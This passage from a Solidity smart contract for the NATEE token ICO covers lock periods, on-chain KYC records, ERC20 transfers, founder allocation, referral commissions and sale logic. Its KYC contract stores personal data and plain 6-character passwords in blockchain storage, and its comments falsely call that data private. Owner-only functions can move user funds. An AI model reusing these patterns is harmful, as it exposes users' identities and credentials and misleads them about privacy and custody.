Start Lock 100 Year first } // function to set Wallet Address that belong to Exclusive Exchange. // The lockin period for this setting has its minimum of 6 months. function setExchangeAddr(address _addr) onlyOwners public{ uint256 numEx = exchangeAddress.push(_addr); if(numEx == 1){ exchangeTimeOut = uint32(now + 180 days); } } // Function to adjust lockin period of Exclusive Exchange, // this could unlock the lockin period and allow freedom trade. function setExchangeTimeOut(uint32 timStemp) onlyOwners public{ exchangeTimeOut = timStemp; } // This function is used to set duration from 100 years to 2 years, start counting from the date that execute this function. // To prevent early execution and to ensure that only the legitimate Owner can execute this function, // Seitee Pte Ltd has logged all activities from this function which open for public for transparency. // The generated log will be publicly published on ERC20 network, anyone can check/trace from the log // that this function will never been called if there no confirmed Exchange that accepts NATEE Token. // Any NATEE token holders who still serving lockin period, can ensure that there will be no repeatedly // execution for this function (the repeatedly execution could lead to lockin period extension to more than 2 years). // The constraint “call2YLock” is initialized as boolean “False” when the NATEE Smart Contract is created and will only // be set to “true” when this function is executed. One the value changed from false > true, it will preserve the value forever. function start2YearLock() onlyOwners public{ if(call2YLock == false){ unlockDate = uint32(now) + 730 days; call2YLock = true; emit Call2YLock(msg.sender); } } function lockAddress(address _addr) internal{ if(lockAddr[_addr] == false) { lockAddr[_addr] = true; lockAddrList.push(_addr); } } function isLockAddr(address _addr) public view returns(bool){ return lockAddr[_addr]; } // this internal function is used to add address into the locked address list. function addLockAddress(address _addr) onlyOwners public{ if(lockAddr[_addr] == false) { lockAddr[_addr] = true; lockAddrList.push(_addr); } } // Function to unlock the token for all addresses. This function is open as public modifier // stated to allow anyone to execute it. This to prevent the doubtful of delay of unlocking // or any circumstances that prolong the unlocking. This just simply means, anyone can unlock // the address for anyone in this Smart Contract. function unlockAllAddress() public{ if(uint32(now) >= unlockDate) { for(uint256 i=0;i<lockAddrList.length;i++) { lockAddr[lockAddrList[i]] = false; } } } // The followings are the controls for Token Transfer, the Controls are managed by Seitee Pte Ltd //========================= ADDRESS CONTROL ======================= // This internal function is to indicate that the Wallet Address has been allowed and let Seitee Pte Ltd // to do transactions. The initial value is closed which means, Seitee Pte Lte cannot do any transactions. function setAllowControl(address _addr) internal{ if(allowControl[_addr] == false) allowControl[_addr] = true; } // this function is to check whether the given Wallet Address can be managed/controlled by Seitee Pte Ltd. // If return “true” means, Seitee Pte Ltd take controls of this Wallet Address. function checkAllowControl(address _addr) public view returns(bool){ return allowControl[_addr]; } // NATEE Token system prevents the transfer of token to non-verified Wallet Address // (the Wallet Address that hasn’t been verified thru KYC). This can also means that // Token wont be transferable to other Wallet Address that not saved in this Smart Contract. // This function is created for everyone to unlock the Wallet Address, once the Wallet Address is unlocked, // the Wallet Address can’t be set to lock again. Our Smart Contract doesn’t have any line that // contains “disableBlock = false”. The condition is when there is a new exchange in the system and // fulfill the 6 months lockin period or less (depends on the value set). function setDisableLock() public{ if(uint256(now) >= exchangeTimeOut && exchangeAddress.length > 0) { if(disableBlock == false) disableBlock = true; } } } // NATEE token smart contract stored KYC Data on Blockchain for transparency. // Only Seitee Pte Ltd has the access to this KYC data. The authorities/Government // Agencies can be given the access to view this KYC data, too (subject to approval). // Please note, this is not open publicly. contract KYC is ControlToken{ struct KYCData{ bytes8 birthday; // yymmdd bytes16 phoneNumber; uint16 documentType; // 2 byte; uint32 createTime; // 4 byte; // --- 32 byte bytes32 peronalID; // Passport หรือ idcard // --- 32 byte bytes32 name; bytes32 surName; bytes32 email; bytes8 password; } KYCData[] internal kycDatas; mapping (uint256=>address) kycDataForOwners; mapping (address=>uint256) OwnerToKycData; mapping (uint256=>address) internal kycSOSToOwner; //keccak256 for SOS function event ChangePassword(address indexed owner_,uint256 kycIdx_); event CreateKYCData(address indexed owner_, uint256 kycIdx_); // Individual KYC data the parameter is index of the KYC data. Only Seitee Pte Ltd can view this data. function getKYCData(uint256 _idx) onlyOwners view public returns(bytes16 phoneNumber_, bytes8 birthday_, uint16 documentType_, bytes32 peronalID_, bytes32 name_, bytes32 surname_, bytes32 email_){ require(_idx <= kycDatas.length && _idx > 0,"ERROR GetKYCData 01"); KYCData memory _kyc; uint256 kycKey = _idx - 1; _kyc = kycDatas[kycKey]; phoneNumber_ = _kyc.phoneNumber; birthday_ = _kyc.birthday; documentType_ = _kyc.documentType; peronalID_ = _kyc.peronalID; name_ = _kyc.name; surname_ = _kyc.surName; email_ = _kyc.email; } // function to view KYC data from registered Wallet Address. Only Seitee Pte Ltd has right to view this data. function getKYCDataByAddr(address _addr) onlyOwners view public returns(bytes16 phoneNumber_, bytes8 birthday_, uint16 documentType_, bytes32 peronalID_, bytes32 name_, bytes32 surname_, bytes32 email_){ require(OwnerToKycData[_addr] > 0,"ERROR GetKYCData 02"); KYCData memory _kyc; uint256 kycKey = OwnerToKycData[_addr] - 1; _kyc = kycDatas[kycKey]; phoneNumber_ = _kyc.phoneNumber; birthday_ = _kyc.birthday; documentType_ = _kyc.documentType; peronalID_ = _kyc.peronalID; name_ = _kyc.name; surname_ = _kyc.surName; email_ = _kyc.email; } // The Owner can view the history records from KYC processes. function getKYCData() view public returns(bytes16 phoneNumber_, bytes8 birthday_, uint16 documentType_, bytes32 peronalID_, bytes32 name_, bytes32 surname_, bytes32 email_){ require(OwnerToKycData[msg.sender] > 0,"ERROR GetKYCData 03"); // if == 0 not have data; uint256 id = OwnerToKycData[msg.sender] - 1; KYCData memory _kyc; _kyc = kycDatas[id]; phoneNumber_ = _kyc.phoneNumber; birthday_ = _kyc.birthday; documentType_ = _kyc.documentType; peronalID_ = _kyc.peronalID; name_ = _kyc.name; surname_ = _kyc.surName; email_ = _kyc.email; } // 6 chars password which the Owner can update the password by himself/herself. Only the Owner can execute this function. function changePassword(bytes8 oldPass_, bytes8 newPass_) public returns(bool){ require(OwnerToKycData[msg.sender] > 0,"ERROR changePassword"); uint256 id = OwnerToKycData[msg.sender] - 1; if(kycDatas[id].password == oldPass_) { kycDatas[id].password = newPass_; emit ChangePassword(msg.sender, id); } else { assert(kycDatas[id].password == oldPass_); } return true; } // function to create record of KYC data function createKYCData(bytes32 _name, bytes32 _surname, bytes32 _email,bytes8 _password, bytes8 _birthday,bytes16 _phone,uint16 _docType,bytes32 _peronalID,address _wallet) onlyOwners public returns(uint256){ uint256 id = kycDatas.push(KYCData(_birthday, _phone, _docType, uint32(now) ,_peronalID, _name, _surname, _email, _password)); uint256 sosHash = uint256(keccak256(abi.encodePacked(_name, _surname , _email, _password))); OwnerToKycData[_wallet] = id; kycDataForOwners[id] = _wallet; kycSOSToOwner[sosHash] = _wallet; emit CreateKYCData(_wallet,id); return id; } function maxKYCData() public view returns(uint256){ return kycDatas.length; } function haveKYCData(address _addr) public view returns(bool){ if(OwnerToKycData[_addr] > 0) return true; else return false; } } // Standard ERC20 function, no overriding at the moment. contract StandarERC20 is ERC20{ using SafeMath256 for uint256; mapping (address => uint256) balance; mapping (address => mapping (address=>uint256)) allowed; uint256 public totalSupply_; address[] public holders; mapping (address => uint256) holderToId; event Transfer(address indexed from,address indexed to,uint256 value); event Approval(address indexed owner,address indexed spender,uint256 value); // Total number of Tokens function totalSupply() public view returns (uint256){ return totalSupply_; } function balanceOf(address _walletAddress) public view returns (uint256){ return balance[_walletAddress]; } // function to check on how many tokens set to be transfer between _owner and _spender. This is to check prior to confirm the transaction. function allowance(address _owner, address _spender) public view returns (uint256){ return allowed[_owner][_spender]; } // Standard function used to transfer the token according to ERC20 standard function transfer(address _to, uint256 _value) public returns (bool){ require(_value <= balance[msg.sender]); require(_to != address(0)); balance[msg.sender] = balance[msg.sender].sub(_value); balance[_to] = balance[_to].add(_value); emit Transfer(msg.sender,_to,_value); return true; } // standard function to approve transfer of token function approve(address _spender, uint256 _value) public returns (bool){ allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // standard function to request the money used after the sender has initialize the // transition of money transfer. Only the beneficiary able to execute this function // and the amount of money has been set as transferable by the sender. function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ require(_value <= balance[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balance[_from] = balance[_from].sub(_value); balance[_to] = balance[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // additional function to store all NATEE Token holders as a list in blockchain. // This could be use for bounty program in the future. function addHolder(address _addr) internal{ if(holderToId[_addr] == 0) { uint256 idx = holders.push(_addr); holderToId[_addr] = idx; } } // function to request the top NATEE Token holders. function getMaxHolders() external view returns(uint256){ return holders.length; } // function to read all indexes of NATEE Token holders. function getHolder(uint256 idx) external view returns(address){ return holders[idx]; } } // Contract for co-founders and advisors which is total of 5,000,000 Tokens for co-founders // and 4,000,000 tokens for advisors. Maximum NATEE token for advisor is 200,000 Tokens and // the deficit from 4,000,000 tokens allocated to advisors, will be transferred to co-founders. contract FounderAdvisor is StandarERC20,Ownable,KYC { uint256 FOUNDER_SUPPLY = 5000000 ether; uint256 ADVISOR_SUPPLY = 4000000 ether; address[] advisors; address[] founders; mapping (address => uint256) advisorToID; mapping (address => uint256) founderToID; // will have true if already redeem. // Advisor and founder can't be same people bool public closeICO; // Will have this value after close ICO uint256 public TOKEN_PER_FOUNDER = 0 ether; uint256 public TOKEN_PER_ADVISOR = 0 ether; event AddFounder(address indexed newFounder,string nane,uint256 curFoounder); event AddAdvisor(address indexed newAdvisor,string name,uint256 curAdvisor); event CloseICO(); event RedeemAdvisor(address indexed addr_, uint256 value); event RedeemFounder(address indexed addr_, uint256 value); event ChangeAdvisorAddr(address indexed oldAddr_, address indexed newAddr_); event ChangeFounderAddr(address indexed oldAddr_, address indexed newAddr_); // function to add founders, name and surname will be logged. This // function will be disabled after ICO closed. function addFounder(address newAddr, string _name) onlyOwners external returns (bool){ require(closeICO == false); require(founderToID[newAddr] == 0); uint256 idx = founders.push(newAddr); founderToID[newAddr] = idx; emit AddFounder(newAddr, _name, idx); return true; } // function to add advisors. This function will be disabled after ICO closed. function addAdvisor(address newAdvis, string _name) onlyOwners external returns (bool){ require(closeICO == false); require(advisorToID[newAdvis] == 0); uint256 idx = advisors.push(newAdvis); advisorToID[newAdvis] = idx; emit AddAdvisor(newAdvis, _name, idx); return true; } // function to update Advisor’s Wallet Address. If there is a need to remove the advisor, // just input address = 0. This function will be disabled after ICO closed. function changeAdvisorAddr(address oldAddr, address newAddr) onlyOwners external returns(bool){ require(closeICO == false); require(advisorToID[oldAddr] > 0); // it should be true if already have advisor uint256 idx = advisorToID[oldAddr]; advisorToID[newAddr] = idx; advisorToID[oldAddr] = 0; advisors[idx - 1] = newAddr; emit ChangeAdvisorAddr(oldAddr,newAddr); return true; } // function to update founder’s Wallet Address. To remove the founder, // pass the value of address = 0. This function will be disabled after ICO closed. function changeFounderAddr(address oldAddr, address newAddr) onlyOwners external returns(bool){ require(closeICO == false); require(founderToID[oldAddr] > 0); uint256 idx = founderToID[oldAddr]; founderToID[newAddr] = idx; founderToID[oldAddr] = 0; founders[idx - 1] = newAddr; emit ChangeFounderAddr(oldAddr, newAddr); return true; } function isAdvisor(address addr) public view returns(bool){ if(advisorToID[addr] > 0) return true; else return false; } function isFounder(address addr) public view returns(bool){ if(founderToID[addr] > 0) return true; else return false; } } // Contract MyToken is created for extra permission to make a transfer of token. Typically, // NATEE Token will be held and will only be able to transferred to those who has successfully // done the KYC. For those who holds NATEE PRIVATE TOKEN at least 8,000,000 tokens is able to // transfer the token to anyone with no limit. contract MyToken is FounderAdvisor { using SafeMath256 for uint256; mapping(address => uint256) privateBalance; event SOSTranfer(address indexed oldAddr_, address indexed newAddr_); // standard function according to ERC20, modified by adding the condition of lockin period (2 years) // for founders and advisors. Including the check whether the address has been KYC verified and is // NATEE PRIVATE TOKEN holder will be able to freedomly trade the token. function transfer(address _to, uint256 _value) public returns (bool){ if(lockAddr[msg.sender] == true) // 2 Year lock can Transfer only Lock Address { require(lockAddr[_to] == true); } // if total number of NATEE PRIVATE TOKEN is less than amount that wish to transfer if(privateBalance[msg.sender] < _value){ if(disableBlock == false) { require(OwnerToKycData[msg.sender] > 0,"You Not have permission to Send"); require(OwnerToKycData[_to] > 0,"You not have permission to Recieve"); } } addHolder(_to); if(super.transfer(_to, _value) == true) { // check if the total balance of token is less than transferred amount if(privateBalance[msg.sender] <= _value) { privateBalance[_to] += privateBalance[msg.sender]; privateBalance[msg.sender] = 0; } else { privateBalance[msg.sender] = privateBalance[msg.sender].sub(_value); privateBalance[_to] = privateBalance[_to].add(_value); } return true; } return false; } // standard function ERC20, with additional criteria for 2 years lockin period for Founders and Advisors. // Check if the owner of that Address has done the KYC successfully, if yes and having NATEE Private Token // then, will be allowed to make the transfer. function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ require(lockAddr[_from] == false); //2 Year Lock Can't Transfer if(privateBalance[_from] < _value) { if(disableBlock == false) { require(OwnerToKycData[msg.sender] > 0, "You Not Have permission to Send"); require(OwnerToKycData[_to] > 0,"You not have permission to recieve"); } } addHolder(_to); if(super.transferFrom(_from, _to, _value) == true) { if(privateBalance[msg.sender] <= _value) { privateBalance[_to] += privateBalance[msg.sender]; privateBalance[msg.sender] = 0; } else { privateBalance[msg.sender] = privateBalance[msg.sender].sub(_value); privateBalance[_to] = privateBalance[_to].add(_value); } return true; } return false; } // function to transfer all asset from the old wallet to new wallet. This is used, just in case, the owner forget the private key. // The owner who which to update the wallet by calling this function must have successfully done KYC and the 6 alpha numeric password // must be used and submit to Seitee Pte Ltd. The company will recover the old wallet address and transfer the assets to the new wallet // address on behave of the owner of the wallet address. function sosTransfer(bytes32 _name, bytes32 _surname, bytes32 _email,bytes8 _password,address _newAddr) onlyOwners public returns(bool){ uint256 sosHash = uint256(keccak256(abi.encodePacked(_name, _surname , _email, _password))); address oldAddr = kycSOSToOwner[sosHash]; uint256 idx = OwnerToKycData[oldAddr]; require(allowControl[oldAddr] == false); if(idx > 0) { idx = idx - 1; if(kycDatas[idx].name == _name && kycDatas[idx].surName == _surname && kycDatas[idx].email == _email && kycDatas[idx].password == _password) { kycSOSToOwner[sosHash] = _newAddr; OwnerToKycData[oldAddr] = 0; // reset it OwnerToKycData[_newAddr] = idx; kycDataForOwners[idx] = _newAddr; emit SOSTranfer(oldAddr, _newAddr); lockAddr[_newAddr] = lockAddr[oldAddr]; //Transfer All Token to new address balance[_newAddr] = balance[oldAddr]; balance[oldAddr] = 0; privateBalance[_newAddr] = privateBalance[oldAddr]; privateBalance[oldAddr] = 0; emit Transfer(oldAddr, _newAddr, balance[_newAddr]); } } return true; } // function for internal transfer between wallets that the controls have been given to // the company (The owner can revoke these controls after ICO closed). Only the founders // of Seitee Pte Ltd can execute this function. All activities will be publicly logged. // The user can trace/view the log to check transparency if any founders of the company // make the transfer of assets from your wallets. Again, Transparency is the key here. function inTransfer(address _from, address _to,uint256 value) onlyOwners public{ require(allowControl[_from] == true); //default = false require(balance[_from] >= value); balance[_from] -= value; balance[_to] = balance[_to].add(value); if(privateBalance[_from] <= value) { privateBalance[_to] += privateBalance[_from]; privateBalance[_from] = 0; } else { privateBalance[_from] = privateBalance[_from].sub(value); privateBalance[_to] = privateBalance[_to].add(value); } emit Transfer(_from,_to,value); } function balanceOfPrivate(address _walletAddress) public view returns (uint256){ return privateBalance[_walletAddress]; } } // Contract for NATEE PRIVATE TOKEN (1 NATEE PRIVATE TOKEN equivalent to 8 NATEE TOKEN) contract NateePrivate { function redeemToken(address _redeem, uint256 _value) external; function getMaxHolder() view external returns(uint256); function getAddressByID(uint256 _id) view external returns(address); function balancePrivate(address _walletAddress) public view returns (uint256); } // The interface of SGDS (Singapore Dollar Stable) contract SGDSInterface{ function balanceOf(address tokenOwner) public view returns (uint256 balance); function intTransfer(address _from, address _to, uint256 _value) external; function transferWallet(address _from,address _to) external; function getUserControl(address _addr) external view returns(bool); // if true mean user can control by him. false mean Company can control function useSGDS(address useAddr,uint256 value) external returns(bool); function transfer(address _to, uint256 _value) public returns (bool); } // Interface of NATEE Warrant contract NateeWarrantInterface { function balanceOf(address tokenOwner) public view returns (uint256 balance); function redeemWarrant(address _from, uint256 _value) external; function getWarrantInfo() external view returns(string name_,string symbol_,uint256 supply_ ); function getUserControl(address _addr) external view returns(bool); function sendWarrant(address _to,uint256 _value) external; function expireDate() public pure returns (uint32); } // HAVE 5 Type of REFERRAL // 1 Buy 8,000 NATEE Then can get referral code REDEEM AFTER REACH SOFTCAP // 2 FIX RATE REDEEM AFTER REARCH SOFTCAP NO Buy // 3 adjust RATE REDEEM AFTER REARCH SOFTCAP NO Buy // 4 adjust RATE REDEEM IMMEDIATLY NO Buy // 5 FIX RATE REDEEM IMMEDIATLY NO Buy // Contract for marketing by using referral code from above 5 scenarios. contract Marketing is MyToken{ struct REFERAL{ uint8 refType; uint8 fixRate; // user for type 2 and 5 uint256 redeemCom; // summary commision that redeem uint256 allCommission; uint256 summaryInvest; } REFERAL[] referals; mapping (address => uint256) referToID; // Add address for referrer function addReferal(address _address,uint8 referType,uint8 rate) onlyOwners public{ require(referToID[_address] == 0); uint256 idx = referals.push(REFERAL(referType,rate,0,0,0)); referToID[_address] = idx; } // increase bounty/commission rate for those who has successfully registered the address with this smart contract function addCommission(address _address,uint256 buyToken) internal{ uint256 idx; if(referToID[_address] > 0) { idx = referToID[_address] - 1; uint256 refType = uint256(referals[idx].refType); uint256 fixRate = uint256(referals[idx].fixRate); if(refType == 1 || refType == 3 || refType == 4){ referals[idx].summaryInvest += buyToken; if(referals[idx].summaryInvest <= 80000){ referals[idx].allCommission = referals[idx].summaryInvest / 20 / 2; // 5% }else if(referals[idx].summaryInvest >80000 && referals[idx].summaryInvest <=320000){ referals[idx].allCommission = 2000 + (referals[idx].summaryInvest / 10 / 2); // 10% }else if(referals[idx].summaryInvest > 320000){ referals[idx].allCommission = 2000 + 12000 + (referals[idx].summaryInvest * 15 / 100 / 2); // 10% } } else if(refType == 2 || refType == 5){ referals[idx].summaryInvest += buyToken; referals[idx].allCommission = (referals[idx].summaryInvest * 100) * fixRate / 100 / 2; } } } function getReferByAddr(address _address) onlyOwners view public returns(uint8 refType, uint8 fixRate, uint256 commision, uint256 allCommission, uint256 summaryInvest){ REFERAL memory refer = referals[referToID[_address]-1]; refType = refer.refType; fixRate = refer.fixRate; commision = refer.redeemCom; allCommission = refer.allCommission; summaryInvest = refer.summaryInvest; } // check if the given address is listed in referral list function checkHaveRefer(address _address) public view returns(bool){ return (referToID[_address] > 0); } // check the total commission on what you have earned so far, the unit is SGDS (Singapore Dollar Stable) function getCommission(address addr) public view returns(uint256){ require(referToID[addr] > 0); return referals[referToID[addr] - 1].allCommission; } } // ICO Contract // 1. Set allocated tokens for sales during pre-sales, prices the duration for pre-sales is 270 days // 2. Set allocated tokens for sales during public-sales, prices and the duration for public-sales is 90 days. // 3. The entire duration pre-sales / public sales is no more than 270 days (9 months). // 4. If the ICO fails to reach Soft Cap, the investors can request for refund by using SGDS and the company will give back into ETH (the exchange rate and ETH price depends on the market) // 5. There are 2 addresses which will get 1% of fund raised and 5% but not more then 200,000 SGDS . These two addresses helped us in shaping up Business Model and Smart Contract. contract ICO_Token is Marketing{ uint256 PRE_ICO_ROUND = 20000000 ; uint256 ICO_ROUND = 40000000 ; uint256 TOKEN_PRICE = 50; // 0.5 SGDS PER TOKEN bool startICO; //default = false; bool icoPass; bool hardCap; bool public pauseICO; uint32 public icoEndTime; uint32 icoPauseTime; uint32 icoStartTime; uint256 totalSell; uint256 MIN_PRE_ICO_ROUND = 400 ; uint256 MIN_ICO_ROUND = 400 ; uint256 MAX_ICO_ROUND = 1000000 ; uint256 SOFT_CAP = 10000000 ; uint256 _1Token = 1 ether; SGDSInterface public sgds; NateeWarrantInterface public warrant; mapping (address => uint256) totalBuyICO; mapping (address => uint256) redeemed; mapping (address => uint256) redeemPercent; mapping (address => uint256) redeemMax; event StartICO(address indexed admin, uint32 startTime,uint32 endTime); event PassSoftCap(uint32 passTime); event BuyICO(address indexed addr_,uint256 value); event BonusWarrant(address indexed,uint256 startRank,uint256 stopRank,uint256 warrantGot); event RedeemCommision(address indexed, uint256 sgdsValue,uint256 curCom); event Refund(address indexed,uint256 sgds,uint256 totalBuy); constructor() public { //sgds = //warrant = pauseICO = false; icoEndTime = uint32(now + 365 days); } function pauseSellICO() onlyOwners external{ require(startICO == true); require(pauseICO == false); icoPauseTime = uint32(now); pauseICO = true; } // NEW FUNCTION function resumeSellICO() onlyOwners external{ require(pauseICO == true); pauseICO = false; // Add Time That PAUSE BUT NOT MORE THEN 2 YEAR uint32 pauseTime = uint32(now) - icoPauseTime; uint32 maxSellTime = icoStartTime + 730 days; icoEndTime += pauseTime; if(icoEndTime > maxSellTime) icoEndTime = maxSellTime; pauseICO = false; } // Function to kicks start the ICO, Auto triggered as soon as the first // NATEE TOKEN transfer committed. function startSellICO() internal returns(bool){ require(startICO == false); // IF Start Already it can't call again icoStartTime = uint32(now); icoEndTime = uint32(now + 270 days); // ICO 9 month startICO = true; emit StartICO(msg.sender,icoStartTime,icoEndTime); return true; } // this function will be executed automatically as soon as Soft Cap reached. By limited additional 90 days // for public-sales in the total remain days is more than 90 days (the entire ICO takes no more than 270 days). // For example, if the pre-sales takes 200 days, the public sales duration will be 70 days (270-200). // Starting from the date that // Soft Cap reached // if the pre-sales takes 150 days, the public sales duration will be 90 days starting from the date that // Soft Cap reached function passSoftCap() internal returns(bool){ icoPass = true; // after pass softcap will continue sell 90 days if(icoEndTime - uint32(now) > 90 days) { icoEndTime = uint32(now) + 90 days; } emit PassSoftCap(uint32(now)); } // function to refund, this is used when fails to reach Soft CAP and the ICO takes more than 270 days. // if Soft Cap reached, no refund function refund() public{ require(icoPass == false); uint32 maxSellTime = icoStartTime + 730 days; if(pauseICO == true) { if(uint32(now) <= maxSellTime) { return; } } if(uint32(now) >= icoEndTime) { if(totalBuyICO[msg.sender] > 0) { uint256 totalSGDS = totalBuyICO[msg.sender] * TOKEN_PRICE; uint256 totalNatee = totalBuyICO[msg.sender] * _1Token; require(totalNatee == balance[msg.sender]); emit Refund(msg.sender,totalSGDS,totalBuyICO[msg.sender]); totalBuyICO[msg.sender] = 0; sgds.transfer(msg.sender,totalSGDS); } } } // This function is to allow the owner of Wallet Address to set the value (Boolean) to grant/not grant the permission to himself/herself. // This clearly shows that no one else could set the value to the anyone’s Wallet Address, only msg.sender or the executor of this // function can set the value in this function. function userSetAllowControl(bool allow) public{ require(closeICO == true); allowControl[msg.sender] = allow; } // function to calculate the bonus. The bonus will be paid in Warrant according to listed in Bounty section in NATEE Whitepaper function bonusWarrant(address _addr,uint256 buyToken) internal{ // 1-4M GOT 50% // 4,000,0001 - 12M GOT 40% // 12,000,0001 - 20M GOT 30% // 20,000,0001 - 30M GOT 20% // 30,000,0001 - 40M GOT 10% uint256 gotWarrant; //======= PRE ICO ROUND ============= if(totalSell <= 4000000) gotWarrant = buyToken / 2; // Got 50% else if(totalSell >= 4000001 && totalSell <= 12000000) { if(totalSell - buyToken < 4000000) // It mean between pre bonus and this bonus { gotWarrant = (4000000 - (totalSell - buyToken)) / 2; gotWarrant += (totalSell - 4000000) * 40 / 100; } else { gotWarrant = buyToken * 40 / 100; } } else if(totalSell >= 12000001 && totalSell <= 20000000) { if(totalSell - buyToken < 4000000) { gotWarrant = (4000000 - (totalSell - buyToken)) / 2; gotWarrant += 2400000; //8000000 * 40 / 100; fix got 2.4 M Token gotWarrant += (totalSell - 12000000) * 30 / 100; } else if(totalSell - buyToken < 12000000 ) { gotWarrant = (12000000 - (totalSell - buyToken)) * 40 / 100; gotWarrant += (totalSell - 12000000) * 30 / 100; } else { gotWarrant = buyToken * 30 / 100; } } else if(totalSell >= 20000001 && totalSell <= 30000000) // public ROUND { gotWarrant = buyToken / 5; // 20% } else if(totalSell >= 30000001 && totalSell <= 40000000) { if(totalSell - buyToken < 30000000) { gotWarrant = (30000000 - (totalSell - buyToken)) / 5; gotWarrant += (totalSell - 30000000) / 10; } else { gotWarrant = buyToken / 10; // 10% } } else if(totalSell >= 40000001) { if(totalSell - buyToken < 40000000) { gotWarrant = (40000000 - (totalSell - buyToken)) / 10; } else gotWarrant = 0; } //==================================== if(gotWarrant > 0) { gotWarrant = gotWarrant * _1Token; warrant.sendWarrant(_addr,gotWarrant); emit BonusWarrant(_addr,totalSell - buyToken,totalSell,gotWarrant); } } // NATEE Token can only be purchased by using SGDS // function to purchase NATEE token, if the purchase transaction committed, the address will be controlled. // The address wont be able to make any transfer function buyNateeToken(address _addr, uint256 value,bool refer) onlyOwners external returns(bool){ require(closeICO == false); require(pauseICO == false); require(uint32(now) <= icoEndTime); require(value % 2 == 0); // if(startICO == false) startSellICO(); uint256 sgdWant; uint256 buyToken = value; if(totalSell < PRE_ICO_ROUND) // Still in PRE ICO ROUND { require(buyToken >= MIN_PRE_ICO_ROUND); if(buyToken > PRE_ICO_ROUND - totalSell) buyToken = uint256(PRE_ICO_ROUND - totalSell); } else if(totalSell < PRE_ICO_ROUND + ICO_ROUND) { require(buyToken >= MIN_ICO_ROUND); if(buyToken > MAX_ICO_ROUND) buyToken = MAX_ICO_ROUND; if(buyToken > (PRE_ICO_ROUND + ICO_ROUND) - totalSell) buyToken = (PRE_ICO_ROUND + ICO_ROUND) - totalSell; } sgdWant = buyToken * TOKEN_PRICE; require(sgds.balanceOf(_addr) >= sgdWant); sgds.intTransfer(_addr,address(this),sgdWant); // All SGSD Will Transfer to this account emit BuyICO(_addr, buyToken * _1Token); balance[_addr] += buyToken * _1Token; totalBuyICO[_addr] += buyToken; //------------------------------------- // Add TotalSupply HERE totalSupply_ += buyToken * _1Token; //------------------------------------- totalSell += buyToken; if(totalBuyICO[_addr] >= 8000 && referToID[_addr] == 0) addReferal(_addr,1,0); bonusWarrant(_addr,buyToken); if(totalSell >= SOFT_CAP && icoPass == false) passSoftCap(); // mean just pass softcap if(totalSell >= PRE_ICO_ROUND + ICO_ROUND && hardCap == false) { hardCap = true; setCloseICO(); } setAllowControl(_addr); addHolder(_addr); if(refer == true) addCommission(_addr,buyToken); emit Transfer(address(this),_addr, buyToken * _1Token); return true; } // function to withdraw the earned commission. This depends on type of referral code you holding. // If Soft Cap pass is required, you will earn SGDS and withdraw the commission to be paid in ETH function redeemCommision(address addr,uint256 value) public{ require(referToID[addr] > 0); uint256 idx = referToID[addr] - 1; uint256 refType = uint256(referals[idx].refType); if(refType == 1 || refType == 2 || refType == 3) require(icoPass == true); require(value > 0); require(value <= referals[idx].allCommission - referals[idx].redeemCom); // TRANSFER SGDS TO address referals[idx].redeemCom += value; sgds.transfer(addr,value); emit RedeemCommision(addr,value,referals[idx].allCommission - referals[idx].redeemCom); } // check how many tokens sold. This to display on official natee.io website. function getTotalSell() external view returns(uint256){ return totalSell; } // check how many token purchased from the given address. function getTotalBuyICO(address _addr) external view returns(uint256){ return totalBuyICO[_addr]; } // VALUE IN SGDS // Function for AGC and ICZ REDEEM SHARING // 100 % = 10000 function addCOPartner(address addr,uint256 percent,uint256 maxFund) onlyOwners public { require(redeemPercent[addr] == 0); redeemPercent[addr] = percent; redeemMax[addr] = maxFund; } function redeemFund(address addr,uint256 value) public { require(icoPass == true); require(redeemPercent[addr] > 0); uint256 maxRedeem; maxRedeem = (totalSell * TOKEN_PRICE) * redeemPercent[addr] / 10000; if(maxRedeem > redeemMax[addr]) maxRedeem = redeemMax[addr]; require(redeemed[addr] + value <= maxRedeem); sgds.transfer(addr,value); redeemed[addr] += value; } function checkRedeemFund(address addr) public view returns (uint256) { uint256 maxRedeem; maxRedeem = (totalSell * TOKEN_PRICE) * redeemPercent[addr] / 10000; if(maxRedeem > redeemMax[addr]) maxRedeem = redeemMax[addr]; return maxRedeem - redeemed[addr]; } // Function to close the ICO, this function will transfer the token to founders and advisors function setCloseICO() public { require(closeICO == false); require(startICO == true); require(icoPass == true); if(hardCap == false){ require(uint32(now) >= icoEndTime); } uint256 lessAdvisor; uint256 maxAdvisor; uint256 maxFounder; uint256 i; closeICO = true; // Count Max Advisor maxAdvisor = 0; for(i=0;i<advisors.length;i++) { if(advisors[i] != address(0)) maxAdvisor++; } maxFounder = 0; for(i=0;i<founders.length;i++) { if(founders[i] != address(0)) maxFounder++; } TOKEN_PER_ADVISOR = ADVISOR_SUPPLY / maxAdvisor; // Maximum 200,000 Per Advisor or less if(TOKEN_PER_ADVISOR > 200000 ether) { TOKEN_PER_ADVISOR = 200000 ether; } lessAdvisor = ADVISOR_SUPPLY - (TOKEN_PER_ADVISOR * maxAdvisor); // less from Advisor will pay to Founder TOKEN_PER_FOUNDER = (FOUNDER_SUPPLY + lessAdvisor) / maxFounder; emit CloseICO(); // Start Send Token to Found and Advisor for(i=0;i<advisors.length;i++) { if(advisors[i] != address(0)) { balance[advisors[i]] += TOKEN_PER_ADVISOR; totalSupply_ += TOKEN_PER_ADVISOR; lockAddress(advisors[i]); // THIS ADDRESS WILL LOCK FOR 2 YEAR CAN'T TRANSFER addHolder(advisors[i]); setAllowControl(advisors[i]); emit Transfer(address(this), advisors[i], TOKEN_PER_ADVISOR); emit RedeemAdvisor(advisors[i],TOKEN_PER_ADVISOR); } } for(i=0;i<founders.length;i++) { if(founders[i] != address(0)) { balance[founders[i]] += TOKEN_PER_FOUNDER; totalSupply_ += TOKEN_PER_FOUNDER; lockAddress(founders[i]); addHolder(founders[i]); setAllowControl(founders[i]); emit Transfer(address(this),founders[i],TOKEN_PER_FOUNDER); emit RedeemFounder(founders[i],TOKEN_PER_FOUNDER); } } } } // main Conttract of NATEE Token, total token is 100 millions and there is no burn token function. // The token will be auto generated from this function every time after the payment is confirmed // from the buyer. In short, NATEE token will only be issued, based on the payment. // There will be no NATEE Token issued in advance. There is no NATEE Token inventory, no stocking,hence, // there is no need to have the burning function to burn the token/coin in this Smart 